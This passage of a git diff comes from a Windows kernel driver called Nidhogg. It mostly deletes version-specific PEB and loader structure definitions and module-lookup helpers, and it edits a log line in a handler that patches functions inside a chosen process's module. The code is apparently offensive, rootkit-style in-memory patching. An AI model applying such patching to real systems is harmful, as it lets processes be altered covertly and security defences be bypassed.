- PPEB_1511 peb1511 = (PPEB_1511)peb;
- ldr = peb1511->Ldr;
- break;
- }
- case WIN_1709:
- {
- PPEB_1709 peb1709 = (PPEB_1709)peb;
- ldr = peb1709->Ldr;
- break;
- }
- case WIN_1803:
- {
- PPEB_1803 peb1803 = (PPEB_1803)peb;
- ldr = peb1803->Ldr;
- break;
- }
- case WIN_1809:
- {
- PPEB_1809 peb1809 = (PPEB_1809)peb;
- ldr = peb1809->Ldr;
- break;
- }
- case WIN_1903:
- case WIN_1909:
- case WIN_2004:
- case WIN_20H2:
- case WIN_21H1:
- case WIN_21H2:
- case WIN_22H2:
- {
- PPEB_1903 peb1903 = (PPEB_1903)peb;
- ldr = peb1903->Ldr;
- break;
- }
- default:
- {
- PPEB_WIN11 peb11 = (PPEB_WIN11)peb;
- ldr = peb11->Ldr;
- break;
- }
- }
- }
-
- return ldr;
-}
-
-
-PVOID GetModuleImageBase(PPEB_LDR_DATA ldr, WCHAR* moduleName) {
- PVOID imageBase = NULL;
- RTL_OSVERSIONINFOW osVersion = { sizeof(osVersion) };
- NTSTATUS result = RtlGetVersion(&osVersion);
-
- if (NT_SUCCESS(result)) {
- switch (osVersion.dwBuildNumber) {
- case WIN_1507:
- case WIN_1511:
- {
- for (PLIST_ENTRY pListEntry = ldr->InLoadOrderModuleList.Flink;
- pListEntry != &ldr->InLoadOrderModuleList;
- pListEntry = pListEntry->Flink) {
- PLDR_DATA_TABLE_ENTRY_1507 pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY_1507, InLoadOrderLinks);
-
- if (wcisstr(pEntry->BaseDllName.Buffer, moduleName)) {
- imageBase = pEntry->DllBase;
- break;
- }
- }
- break;
- }
- case WIN_1607:
- case WIN_1703:
- case WIN_1709:
- case WIN_1803:
- case WIN_1809:
- case WIN_1903:
- case WIN_1909:
- case WIN_2004:
- case WIN_20H2:
- case WIN_21H1:
- case WIN_21H2:
- case WIN_22H2:
- {
- for (PLIST_ENTRY pListEntry = ldr->InLoadOrderModuleList.Flink;
- pListEntry != &ldr->InLoadOrderModuleList;
- pListEntry = pListEntry->Flink) {
- PLDR_DATA_TABLE_ENTRY_1607 pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY_1607, InLoadOrderLinks);
-
- if (wcisstr(pEntry->BaseDllName.Buffer, moduleName)) {
- imageBase = pEntry->DllBase;
- break;
- }
- }
- break;
- }
- default:
- {
- for (PLIST_ENTRY pListEntry = ldr->InLoadOrderModuleList.Flink;
- pListEntry != &ldr->InLoadOrderModuleList;
- pListEntry = pListEntry->Flink) {
- PLDR_DATA_TABLE_ENTRY_WIN11 pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY_WIN11, InLoadOrderLinks);
-
- if (wcisstr(pEntry->BaseDllName.Buffer, moduleName)) {
- imageBase = pEntry->DllBase;
- break;
- }
- }
- break;
- }
- }
- }
-
- return imageBase;
-}
diff --git a/Nidhogg/Nidhogg.cpp b/Nidhogg/Nidhogg.cpp
index 5b99353..b0f11fc 100644
--- a/Nidhogg/Nidhogg.cpp
+++ b/Nidhogg/Nidhogg.cpp
@@ -771,13 +771,12 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) {
status = STATUS_INVALID_PARAMETER;
break;
}
-
status = PatchModule(*data);
if (status == STATUS_SUCCESS) {
auto prevIrql = KeGetCurrentIrql();
KeLowerIrql(PASSIVE_LEVEL);
- KdPrint((DRIVER_PREFIX "Patched %s for process %d.\n", (*data).FunctionName, data->Pid));
+ KdPrint((DRIVER_PREFIX "Patched module %ws and function %s for process %d.\n", (*data).ModuleName, (*data).FunctionName, data->Pid));
KeRaiseIrql(prevIrql, &prevIrql);
}
diff --git a/Nidhogg/WindowsTypes.h b/Nidhogg/WindowsTypes.h
index 0d23ed7..b5bfefd 100644
--- a/Nidhogg/WindowsTypes.h
+++ b/Nidhogg/WindowsTypes.h
@@ -136,51 +136,6 @@ typedef struct _FULL_IMAGE_NT_HEADERS {
#pragma warning(default : 4214)
-enum LDR_DDAG_STATE
-{
- LdrModulesMerged = -5,
- LdrModulesInitError = -4,
- LdrModulesSnapError = -3,
- LdrModulesUnloaded = -2,
- LdrModulesUnloading = -1,
- LdrModulesPlaceHolder = 0,
- LdrModulesMapping = 1,
- LdrModulesMapped = 2,
- LdrModulesWaitingForDependencies = 3,
- LdrModulesSnapping = 4,
- LdrModulesSnapped = 5,
- LdrModulesCondensed = 6,
- LdrModulesReadyToInit = 7,
- LdrModulesInitializing = 8,
- LdrModulesReadyToRun = 9
-};
-
-enum LDR_DLL_LOAD_REASON
-{
- LoadReasonStaticDependency = 0,
- LoadReasonStaticForwarderDependency = 1,
- LoadReasonDynamicForwarderDependency = 2,
- LoadReasonDelayloadDependency = 3,
- LoadReasonDynamicLoad = 4,
- LoadReasonAsImageLoad = 5,
- LoadReasonAsDataLoad = 6,
- LoadReasonEnclavePrimary = 7,
- LoadReasonEnclaveDependency = 8,
- LoadReasonPatchImage = 9,
- LoadReasonUnknown = -1
-};
-
-//0x4 bytes (sizeof)
-enum LDR_HOT_PATCH_STATE
-{
- LdrHotPatchBaseImage = 0,
- LdrHotPatchNotApplied = 1,
- LdrHotPatchAppliedReverse = 2,
- LdrHotPatchAppliedForward = 3,
- LdrHotPatchFailedToPatch = 4,
- LdrHotPatchStateMax = 5
-};
-
typedef struct _PEB_LDR_DATA
{
ULONG Length; //0x0
@@ -194,1376 +149,41 @@ typedef struct _PEB_LDR_DATA
PVOID ShutdownThreadId; //0x50
} PEB_LDR_DATA, * PPEB_LDR_DATA;
-//0x8 bytes (sizeof)
-typedef struct _LDRP_CSLIST
-{
- SINGLE_LIST_ENTRY* Tail; //0x0
-} LDRP_CSLIST, * PLDRP_CSLIST;
-
-//0x50 bytes (sizeof)
-typedef struct _LDR_DDAG_NODE
-{
- LIST_ENTRY Modules; //0x0
- struct _LDR_SERVICE_TAG_RECORD* ServiceTagList; //0x10
- ULONG LoadCount; //0x18
- ULONG LoadWhileUnloadingCount; //0x1c
- ULONG LowestLink; //0x20
- LDRP_CSLIST Dependencies; //0x28
- LDRP_CSLIST IncomingDependencies; //0x30
- LDR_DDAG_STATE State; //0x38
- SINGLE_LIST_ENTRY CondenseLink; //0x40
- ULONG PreorderNumber; //0x48
-} LDR_DDAG_NODE, * PLDR_DDAG_NODE;
-
-//0x28 bytes (sizeof)
-typedef struct _RTL_CRITICAL_SECTION
-{
- struct _RTL_CRITICAL_SECTION_DEBUG* DebugInfo; //0x0
- LONG LockCount; //0x8
- LONG RecursionCount; //0xc
- VOID* OwningThread; //0x10
- VOID* LockSemaphore; //0x18
- ULONGLONG SpinCount; //0x20
-} RTL_CRITICAL_SECTION, *PRTL_CRITICAL_SECTION;
-
-//0x10 bytes (sizeof)
-typedef struct _LEAP_SECOND_DATA
-{
- UCHAR Enabled; //0x0
- ULONG Count; //0x4
- LARGE_INTEGER Data[1]; //0x8
-} LEAP_SECOND_DATA, * PLEAP_SECOND_DATA;
-
-//0x118 bytes (sizeof)
-typedef struct _LDR_DATA_TABLE_ENTRY_1507
-{
- LIST_ENTRY InLoadOrderLinks; //0x0
- LIST_ENTRY InMemoryOrderLinks; //0x10
- LIST_ENTRY InInitializationOrderLinks; //0x20
- PVOID DllBase; //0x30
- PVOID EntryPoint; //0x38
- ULONG SizeOfImage; //0x40
- UNICODE_STRING FullDllName; //0x48
- UNICODE_STRING BaseDllName; //0x58
- union
- {
- UCHAR FlagGroup[4]; //0x68
- ULONG Flags; //0x68
- struct
- {
- ULONG PackagedBinary : 1; //0x68
- ULONG MarkedForRemoval : 1; //0x68
- ULONG ImageDll : 1; //0x68
- ULONG LoadNotificationsSent : 1; //0x68
- ULONG TelemetryEntryProcessed : 1; //0x68
- ULONG ProcessStaticImport : 1; //0x68
- ULONG InLegacyLists : 1; //0x68
- ULONG InIndexes : 1; //0x68
- ULONG ShimDll : 1; //0x68
- ULONG InExceptionTable : 1; //0x68
- ULONG ReservedFlags1 : 2; //0x68
- ULONG LoadInProgress : 1; //0x68
- ULONG LoadConfigProcessed : 1; //0x68
- ULONG EntryProcessed : 1; //0x68
- ULONG ProtectDelayLoad : 1; //0x68
- ULONG ReservedFlags3 : 2; //0x68
- ULONG DontCallForThreads : 1; //0x68
- ULONG ProcessAttachCalled : 1; //0x68
- ULONG ProcessAttachFailed : 1; //0x68
- ULONG CorDeferredValidate : 1; //0x68
- ULONG CorImage : 1; //0x68
- ULONG DontRelocate : 1; //0x68
- ULONG CorILOnly : 1; //0x68
- ULONG ReservedFlags5 : 3; //0x68
- ULONG Redirected : 1; //0x68
- ULONG ReservedFlags6 : 2; //0x68
- ULONG CompatDatabaseProcessed : 1; //0x68
- };
- };
- USHORT ObsoleteLoadCount; //0x6c
- USHORT TlsIndex; //0x6e
- LIST_ENTRY HashLinks; //0x70
- ULONG TimeDateStamp; //0x80
- struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x88
- PVOID Lock; //0x90
- LDR_DDAG_NODE* DdagNode; //0x98
- LIST_ENTRY NodeModuleLink; //0xa0
- struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0
- PVOID ParentDllBase; //0xb8
- PVOID SwitchBackContext; //0xc0
- RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8
- RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0
- ULONGLONG OriginalBase; //0xf8
- LARGE_INTEGER LoadTime; //0x100
- ULONG BaseNameHashValue; //0x108
- LDR_DLL_LOAD_REASON LoadReason; //0x10c
- ULONG ImplicitPathOptions; //0x110
- ULONG ReferenceCount; //0x114
-} LDR_DATA_TABLE_ENTRY_1507, * PLDR_DATA_TABLE_ENTRY_1507;
-
-//0x120 bytes (sizeof)
-typedef struct _LDR_DATA_TABLE_ENTRY_1607
-{
- LIST_ENTRY InLoadOrderLinks; //0x0
- LIST_ENTRY InMemoryOrderLinks; //0x10
- LIST_ENTRY InInitializationOrderLinks; //0x20
- PVOID DllBase; //0x30
- PVOID EntryPoint; //0x38
- ULONG SizeOfImage; //0x40
- UNICODE_STRING FullDllName; //0x48
- UNICODE_STRING BaseDllName; //0x58
- union
- {
- UCHAR FlagGroup[4]; //0x68
- ULONG Flags; //0x68
- struct
- {
- ULONG PackagedBinary : 1; //0x68
- ULONG MarkedForRemoval : 1; //0x68
- ULONG ImageDll : 1; //0x68
- ULONG LoadNotificationsSent : 1; //0x68
- ULONG TelemetryEntryProcessed : 1; //0x68
- ULONG ProcessStaticImport : 1; //0x68
- ULONG InLegacyLists : 1; //0x68
- ULONG InIndexes : 1; //0x68
- ULONG ShimDll : 1; //0x68
- ULONG InExceptionTable : 1; //0x68
- ULONG ReservedFlags1 : 2; //0x68
- ULONG LoadInProgress : 1; //0x68
- ULONG LoadConfigProcessed : 1; //0x68
- ULONG EntryProcessed : 1; //0x68
- ULONG ProtectDelayLoad : 1; //0x68
- ULONG ReservedFlags3 : 2; //0x68
- ULONG DontCallForThreads : 1; //0x68
- ULONG ProcessAttachCalled : 1; //0x68
- ULONG ProcessAttachFailed : 1; //0x68
- ULONG CorDeferredValidate : 1; //0x68
- ULONG CorImage : 1; //0x68
- ULONG DontRelocate : 1; //0x68
- ULONG CorILOnly : 1; //0x68
- ULONG ReservedFlags5 : 3; //0x68
- ULONG Redirected : 1; //0x68
- ULONG ReservedFlags6 : 2; //0x68
- ULONG CompatDatabaseProcessed : 1; //0x68
- };
- };
- USHORT ObsoleteLoadCount; //0x6c
- USHORT TlsIndex; //0x6e
- LIST_ENTRY HashLinks; //0x70
- ULONG TimeDateStamp; //0x80
- struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x88
- PVOID Lock; //0x90
- LDR_DDAG_NODE* DdagNode; //0x98
- LIST_ENTRY NodeModuleLink; //0xa0
- struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0
- PVOID ParentDllBase; //0xb8
- PVOID SwitchBackContext; //0xc0
- RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8
- RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0
- ULONGLONG OriginalBase; //0xf8
- LARGE_INTEGER LoadTime; //0x100
- ULONG BaseNameHashValue; //0x108
- LDR_DLL_LOAD_REASON LoadReason; //0x10c
- ULONG ImplicitPathOptions; //0x110
- ULONG ReferenceCount; //0x114
- ULONG DependentLoadFlags; //0x118
-} LDR_DATA_TABLE_ENTRY_1607, * PLDR_DATA_TABLE_ENTRY_1607;
-
-//0x138 bytes (sizeof)
-typedef struct _LDR_DATA_TABLE_ENTRY_WIN11
-{
- LIST_ENTRY InLoadOrderLinks; //0x0
- LIST_ENTRY InMemoryOrderLinks; //0x10
- LIST_ENTRY InInitializationOrderLinks; //0x20
- PVOID DllBase; //0x30
- PVOID EntryPoint; //0x38
- ULONG SizeOfImage; //0x40
- UNICODE_STRING FullDllName; //0x48
- UNICODE_STRING BaseDllName; //0x58
- union
- {
- UCHAR FlagGroup[4]; //0x68
- ULONG Flags; //0x68
- struct
- {
- ULONG PackagedBinary : 1; //0x68
- ULONG MarkedForRemoval : 1; //0x68
- ULONG ImageDll : 1; //0x68
- ULONG LoadNotificationsSent : 1; //0x68
- ULONG TelemetryEntryProcessed : 1; //0x68
- ULONG ProcessStaticImport : 1; //0x68
- ULONG InLegacyLists : 1; //0x68
- ULONG InIndexes : 1; //0x68
- ULONG ShimDll : 1; //0x68
- ULONG InExceptionTable : 1; //0x68
- ULONG ReservedFlags1 : 2; //0x68
- ULONG LoadInProgress : 1; //0x68
- ULONG LoadConfigProcessed : 1; //0x68
- ULONG EntryProcessed : 1; //0x68
- ULONG ProtectDelayLoad : 1; //0x68
- ULONG ReservedFlags3 : 2; //0x68
- ULONG DontCallForThreads : 1; //0x68
- ULONG ProcessAttachCalled : 1; //0x68
- ULONG ProcessAttachFailed : 1; //0x68
- ULONG CorDeferredValidate : 1; //0x68
- ULONG CorImage : 1; //0x68
- ULONG DontRelocate : 1; //0x68
- ULONG CorILOnly : 1; //0x68
- ULONG ChpeImage : 1; //0x68
- ULONG ChpeEmulatorImage : 1; //0x68
- ULONG ReservedFlags5 : 1; //0x68
- ULONG Redirected : 1; //0x68
- ULONG ReservedFlags6 : 2; //0x68
- ULONG CompatDatabaseProcessed : 1; //0x68
- };
- };
- USHORT ObsoleteLoadCount; //0x6c
- USHORT TlsIndex; //0x6e
- LIST_ENTRY HashLinks; //0x70
- ULONG TimeDateStamp; //0x80
- struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x88
- PVOID Lock; //0x90
- LDR_DDAG_NODE* DdagNode; //0x98
- LIST_ENTRY NodeModuleLink; //0xa0
- struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0
- PVOID ParentDllBase; //0xb8
- PVOID SwitchBackContext; //0xc0
- RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8
- RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0
- ULONGLONG OriginalBase; //0xf8
- LARGE_INTEGER LoadTime; //0x100
- ULONG BaseNameHashValue; //0x108
- LDR_DLL_LOAD_REASON LoadReason; //0x10c
- ULONG ImplicitPathOptions; //0x110
- ULONG ReferenceCount; //0x114
- ULONG DependentLoadFlags; //0x118
- UCHAR SigningLevel; //0x11c
- ULONG CheckSum; //0x120
- PVOID ActivePatchImageBase; //0x128
- LDR_HOT_PATCH_STATE HotPatchState; //0x130
-} LDR_DATA_TABLE_ENTRY_WIN11, * PLDR_DATA_TABLE_ENTRY_WIN11;
-
-//0x18 bytes (sizeof)
-typedef struct _CURDIR
-{
- UNICODE_STRING DosPath; //0x0
- VOID* Handle; //0x10
-} CURDIR, * PCURDIR;
-
-//0x18 bytes (sizeof)
-typedef struct _RTL_DRIVE_LETTER_CURDIR
-{
- USHORT Flags; //0x0
- USHORT Length; //0x2
- ULONG TimeStamp; //0x4
- STRING DosPath; //0x8
-} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;
-
-//0x410 bytes (sizeof)
-typedef struct _RTL_USER_PROCESS_PARAMETERS_1507
-{
- ULONG MaximumLength; //0x0
- ULONG Length; //0x4
- ULONG Flags; //0x8
- ULONG DebugFlags; //0xc
- VOID* ConsoleHandle; //0x10
- ULONG ConsoleFlags; //0x18
- VOID* StandardInput; //0x20
- VOID* StandardOutput; //0x28
- VOID* StandardError; //0x30
- CURDIR CurrentDirectory; //0x38
- UNICODE_STRING DllPath; //0x50
- UNICODE_STRING ImagePathName; //0x60
- UNICODE_STRING CommandLine; //0x70
- VOID* Environment; //0x80
- ULONG StartingX; //0x88
- ULONG StartingY; //0x8c
- ULONG CountX; //0x90
- ULONG CountY; //0x94
- ULONG CountCharsX; //0x98
- ULONG CountCharsY; //0x9c
- ULONG FillAttribute; //0xa0
- ULONG WindowFlags; //0xa4
- ULONG ShowWindowFlags; //0xa8
- UNICODE_STRING WindowTitle; //0xb0
- UNICODE_STRING DesktopInfo; //0xc0
- UNICODE_STRING ShellInfo; //0xd0
- UNICODE_STRING RuntimeData; //0xe0
- RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; //0xf0
- ULONGLONG EnvironmentSize; //0x3f0
- ULONGLONG EnvironmentVersion; //0x3f8
- VOID* PackageDependencyData; //0x400
- ULONG ProcessGroupId; //0x408
- ULONG LoaderThreads; //0x40c
-} RTL_USER_PROCESS_PARAMETERS_1507, * PRTL_USER_PROCESS_PARAMETERS_1507;
-
-//0x420 bytes (sizeof)
-typedef struct _RTL_USER_PROCESS_PARAMETERS_1809
-{
- ULONG MaximumLength; //0x0
- ULONG Length; //0x4
- ULONG Flags; //0x8
- ULONG DebugFlags; //0xc
- VOID* ConsoleHandle; //0x10
- ULONG ConsoleFlags; //0x18
- VOID* StandardInput; //0x20
- VOID* StandardOutput; //0x28
- VOID* StandardError; //0x30
- CURDIR CurrentDirectory; //0x38
- UNICODE_STRING DllPath; //0x50
- UNICODE_STRING ImagePathName; //0x60
- UNICODE_STRING CommandLine; //0x70
- VOID* Environment; //0x80
- ULONG StartingX; //0x88
- ULONG StartingY; //0x8c
- ULONG CountX; //0x90
- ULONG CountY; //0x94
- ULONG CountCharsX; //0x98
- ULONG CountCharsY; //0x9c
- ULONG FillAttribute; //0xa0
- ULONG WindowFlags; //0xa4
- ULONG ShowWindowFlags; //0xa8
- UNICODE_STRING WindowTitle; //0xb0
- UNICODE_STRING DesktopInfo; //0xc0
- UNICODE_STRING ShellInfo; //0xd0
- UNICODE_STRING RuntimeData; //0xe0
- RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; //0xf0
- ULONGLONG EnvironmentSize; //0x3f0
- ULONGLONG EnvironmentVersion; //0x3f8
- VOID* PackageDependencyData; //0x400
- ULONG ProcessGroupId; //0x408
- ULONG LoaderThreads; //0x40c
- UNICODE_STRING RedirectionDllName; //0x410
-} RTL_USER_PROCESS_PARAMETERS_1809, * PRTL_USER_PROCESS_PARAMETERS_1809;
-
-//0x440 bytes (sizeof)
-typedef struct _RTL_USER_PROCESS_PARAMETERS_1903
-{
- ULONG MaximumLength; //0x0
- ULONG Length; //0x4
- ULONG Flags; //0x8
- ULONG DebugFlags; //0xc
- VOID* ConsoleHandle; //0x10
- ULONG ConsoleFlags; //0x18
- VOID* StandardInput; //0x20
- VOID* StandardOutput; //0x28
- VOID* StandardError; //0x30
- CURDIR CurrentDirectory; //0x38
- UNICODE_STRING DllPath; //0x50
- UNICODE_STRING ImagePathName; //0x60
- UNICODE_STRING CommandLine; //0x70
- VOID* Environment; //0x80
- ULONG StartingX; //0x88
- ULONG StartingY; //0x8c
- ULONG CountX; //0x90
- ULONG CountY; //0x94
- ULONG CountCharsX; //0x98
- ULONG CountCharsY; //0x9c
- ULONG FillAttribute; //0xa0
- ULONG WindowFlags; //0xa4
- ULONG ShowWindowFlags; //0xa8
- UNICODE_STRING WindowTitle; //0xb0
- UNICODE_STRING DesktopInfo; //0xc0
- UNICODE_STRING ShellInfo; //0xd0
- UNICODE_STRING RuntimeData; //0xe0
- RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; //0xf0
- ULONGLONG EnvironmentSize; //0x3f0
- ULONGLONG EnvironmentVersion; //0x3f8
- VOID* PackageDependencyData; //0x400
- ULONG ProcessGroupId; //0x408
- ULONG LoaderThreads; //0x40c
- UNICODE_STRING RedirectionDllName; //0x410
- UNICODE_STRING HeapPartitionName; //0x420
- ULONGLONG* DefaultThreadpoolCpuSetMasks; //0x430
- ULONG DefaultThreadpoolCpuSetMaskCount; //0x438
- ULONG DefaultThreadpoolThreadMaximum; //0x43c
-} RTL_USER_PROCESS_PARAMETERS_1903, * PRTL_USER_PROCESS_PARAMETERS_1903;
-
-//0x388 bytes (sizeof)
-typedef struct _PEB_1507
-{
- UCHAR InheritedAddressSpace; //0x0
- UCHAR ReadImageFileExecOptions; //0x1
- UCHAR BeingDebugged; //0x2
- union
- {
- UCHAR BitField; //0x3
- struct
- {
- UCHAR ImageUsesLargePages : 1; //0x3
- UCHAR IsProtectedProcess : 1; //0x3
- UCHAR IsImageDynamicallyRelocated : 1; //0x3
- UCHAR SkipPatchingUser32Forwarders : 1; //0x3
- UCHAR IsPackagedProcess : 1; //0x3
- UCHAR IsAppContainer : 1; //0x3
- UCHAR IsProtectedProcessLight : 1; //0x3
- UCHAR SpareBits : 1; //0x3
- };
- };
- UCHAR Padding0[4]; //0x4
- PVOID Mutant; //0x8
- PVOID ImageBaseAddress; //0x10
- PEB_LDR_DATA* Ldr; //0x18
- RTL_USER_PROCESS_PARAMETERS_1507* ProcessParameters; //0x20
- PVOID SubSystemData; //0x28
- PVOID ProcessHeap; //0x30
- RTL_CRITICAL_SECTION* FastPebLock; //0x38
- PVOID AtlThunkSListPtr; //0x40
- PVOID IFEOKey; //0x48
- union
- {
- ULONG CrossProcessFlags; //0x50
- struct
- {
- ULONG ProcessInJob : 1; //0x50
- ULONG ProcessInitializing : 1; //0x50
- ULONG ProcessUsingVEH : 1; //0x50
- ULONG ProcessUsingVCH : 1; //0x50
- ULONG ProcessUsingFTH : 1; //0x50
- ULONG ReservedBits0 : 27; //0x50
- };
- };
- UCHAR Padding1[4]; //0x54
- union
- {
- PVOID KernelCallbackTable; //0x58
- PVOID UserSharedInfoPtr; //0x58
- };
- ULONG SystemReserved[1]; //0x60
- ULONG AtlThunkSListPtr32; //0x64
- PVOID ApiSetMap; //0x68
- ULONG TlsExpansionCounter; //0x70
- UCHAR Padding2[4]; //0x74
- PVOID TlsBitmap; //0x78
- ULONG TlsBitmapBits[2]; //0x80
- PVOID ReadOnlySharedMemoryBase; //0x88
- PVOID SparePvoid0; //0x90
- VOID** ReadOnlyStaticServerData; //0x98
- PVOID AnsiCodePageData; //0xa0
- PVOID OemCodePageData; //0xa8
- PVOID UnicodeCaseTableData; //0xb0
- ULONG NumberOfProcessors; //0xb8
- ULONG NtGlobalFlag; //0xbc
- LARGE_INTEGER CriticalSectionTimeout; //0xc0
- ULONGLONG HeapSegmentReserve; //0xc8
- ULONGLONG HeapSegmentCommit; //0xd0
- ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8
- ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0
- ULONG NumberOfHeaps; //0xe8
- ULONG MaximumNumberOfHeaps; //0xec
- VOID** ProcessHeaps; //0xf0
- PVOID GdiSharedHandleTable; //0xf8
- PVOID ProcessStarterHelper; //0x100
- ULONG GdiDCAttributeList; //0x108
- UCHAR Padding3[4]; //0x10c
- RTL_CRITICAL_SECTION* LoaderLock; //0x110
- ULONG OSMajorVersion; //0x118
- ULONG OSMinorVersion; //0x11c
- USHORT OSBuildNumber; //0x120
- USHORT OSCSDVersion; //0x122
- ULONG OSPlatformId; //0x124
- ULONG ImageSubsystem; //0x128
- ULONG ImageSubsystemMajorVersion; //0x12c
- ULONG ImageSubsystemMinorVersion; //0x130
- UCHAR Padding4[4]; //0x134
- ULONGLONG ActiveProcessAffinityMask; //0x138
- ULONG GdiHandleBuffer[60]; //0x140
- VOID(*PostProcessInitRoutine)(); //0x230
- PVOID TlsExpansionBitmap; //0x238
- ULONG TlsExpansionBitmapBits[32]; //0x240
- ULONG SessionId; //0x2c0
- UCHAR Padding5[4]; //0x2c4
- ULARGE_INTEGER AppCompatFlags; //0x2c8
- ULARGE_INTEGER AppCompatFlagsUser; //0x2d0
- PVOID pShimData; //0x2d8
- PVOID AppCompatInfo; //0x2e0
- UNICODE_STRING CSDVersion; //0x2e8
- struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8
- struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300
- struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308
- struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310
- ULONGLONG MinimumStackCommit; //0x318
- struct _FLS_CALLBACK_INFO* FlsCallback; //0x320
- LIST_ENTRY FlsListHead; //0x328
- PVOID FlsBitmap; //0x338
- ULONG FlsBitmapBits[4]; //0x340
- ULONG FlsHighIndex; //0x350
- PVOID WerRegistrationData; //0x358
- PVOID WerShipAssertPtr; //0x360
- PVOID pUnused; //0x368
- PVOID pImageHeaderHash; //0x370
- union
- {
- ULONG TracingFlags; //0x378
- struct
- {
- ULONG HeapTracingEnabled : 1; //0x378
- ULONG CritSecTracingEnabled : 1; //0x378
- ULONG LibLoaderTracingEnabled : 1; //0x378
- ULONG SpareTracingBits : 29; //0x378
- };
- };
- UCHAR Padding6[4]; //0x37c
- ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380
-} PEB_1507, * PPEB_1507;
-
-//0x7a0 bytes (sizeof)
-typedef struct _PEB_1511
-{
- UCHAR InheritedAddressSpace; //0x0
- UCHAR ReadImageFileExecOptions; //0x1
- UCHAR BeingDebugged; //0x2
- union
- {
- UCHAR BitField; //0x3
- struct
- {
- UCHAR ImageUsesLargePages : 1; //0x3
- UCHAR IsProtectedProcess : 1; //0x3
- UCHAR IsImageDynamicallyRelocated : 1; //0x3
- UCHAR SkipPatchingUser32Forwarders : 1; //0x3
- UCHAR IsPackagedProcess : 1; //0x3
- UCHAR IsAppContainer : 1; //0x3
- UCHAR IsProtectedProcessLight : 1; //0x3
- UCHAR SpareBits : 1; //0x3
- };
- };
- UCHAR Padding0[4]; //0x4
- VOID* Mutant; //0x8
- VOID* ImageBaseAddress; //0x10
- PEB_LDR_DATA* Ldr; //0x18
- RTL_USER_PROCESS_PARAMETERS_1507* ProcessParameters; //0x20
- VOID* SubSystemData; //0x28
- VOID* ProcessHeap; //0x30
- RTL_CRITICAL_SECTION* FastPebLock; //0x38
- VOID* AtlThunkSListPtr; //0x40
- VOID* IFEOKey; //0x48
- union
- {
- ULONG CrossProcessFlags; //0x50
- struct
- {
- ULONG ProcessInJob : 1; //0x50
- ULONG ProcessInitializing : 1; //0x50
- ULONG ProcessUsingVEH : 1; //0x50
- ULONG ProcessUsingVCH : 1; //0x50
- ULONG ProcessUsingFTH : 1; //0x50
- ULONG ReservedBits0 : 27; //0x50
- };
- };
- UCHAR Padding1[4]; //0x54
- union
- {
- VOID* KernelCallbackTable; //0x58
- VOID* UserSharedInfoPtr; //0x58
- };
- ULONG SystemReserved[1]; //0x60
- ULONG AtlThunkSListPtr32; //0x64
- VOID* ApiSetMap; //0x68
- ULONG TlsExpansionCounter; //0x70
- UCHAR Padding2[4]; //0x74
- VOID* TlsBitmap; //0x78
- ULONG TlsBitmapBits[2]; //0x80
- VOID* ReadOnlySharedMemoryBase; //0x88
- VOID* SparePvoid0; //0x90
- VOID** ReadOnlyStaticServerData; //0x98
- VOID* AnsiCodePageData; //0xa0
- VOID* OemCodePageData; //0xa8
- VOID* UnicodeCaseTableData; //0xb0
- ULONG NumberOfProcessors; //0xb8
- ULONG NtGlobalFlag; //0xbc
- LARGE_INTEGER CriticalSectionTimeout; //0xc0
- ULONGLONG HeapSegmentReserve; //0xc8
- ULONGLONG HeapSegmentCommit; //0xd0
- ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8
- ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0
- ULONG NumberOfHeaps; //0xe8
- ULONG MaximumNumberOfHeaps; //0xec
- VOID** ProcessHeaps; //0xf0
- VOID* GdiSharedHandleTable; //0xf8
- VOID* ProcessStarterHelper; //0x100
- ULONG GdiDCAttributeList; //0x108
- UCHAR Padding3[4]; //0x10c
- RTL_CRITICAL_SECTION* LoaderLock; //0x110
- ULONG OSMajorVersion; //0x118
- ULONG OSMinorVersion; //0x11c
- USHORT OSBuildNumber; //0x120
- USHORT OSCSDVersion; //0x122
- ULONG OSPlatformId; //0x124
- ULONG ImageSubsystem; //0x128
- ULONG ImageSubsystemMajorVersion; //0x12c
- ULONG ImageSubsystemMinorVersion; //0x130
- UCHAR Padding4[4]; //0x134
- ULONGLONG ActiveProcessAffinityMask; //0x138
- ULONG GdiHandleBuffer[60]; //0x140
- VOID(*PostProcessInitRoutine)(); //0x230
- VOID* TlsExpansionBitmap; //0x238
- ULONG TlsExpansionBitmapBits[32]; //0x240
- ULONG SessionId; //0x2c0
- UCHAR Padding5[4]; //0x2c4
- ULARGE_INTEGER AppCompatFlags; //0x2c8
- ULARGE_INTEGER AppCompatFlagsUser; //0x2d0
- VOID* pShimData; //0x2d8
- VOID* AppCompatInfo; //0x2e0
- UNICODE_STRING CSDVersion; //0x2e8
- struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8
- struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300
- struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308
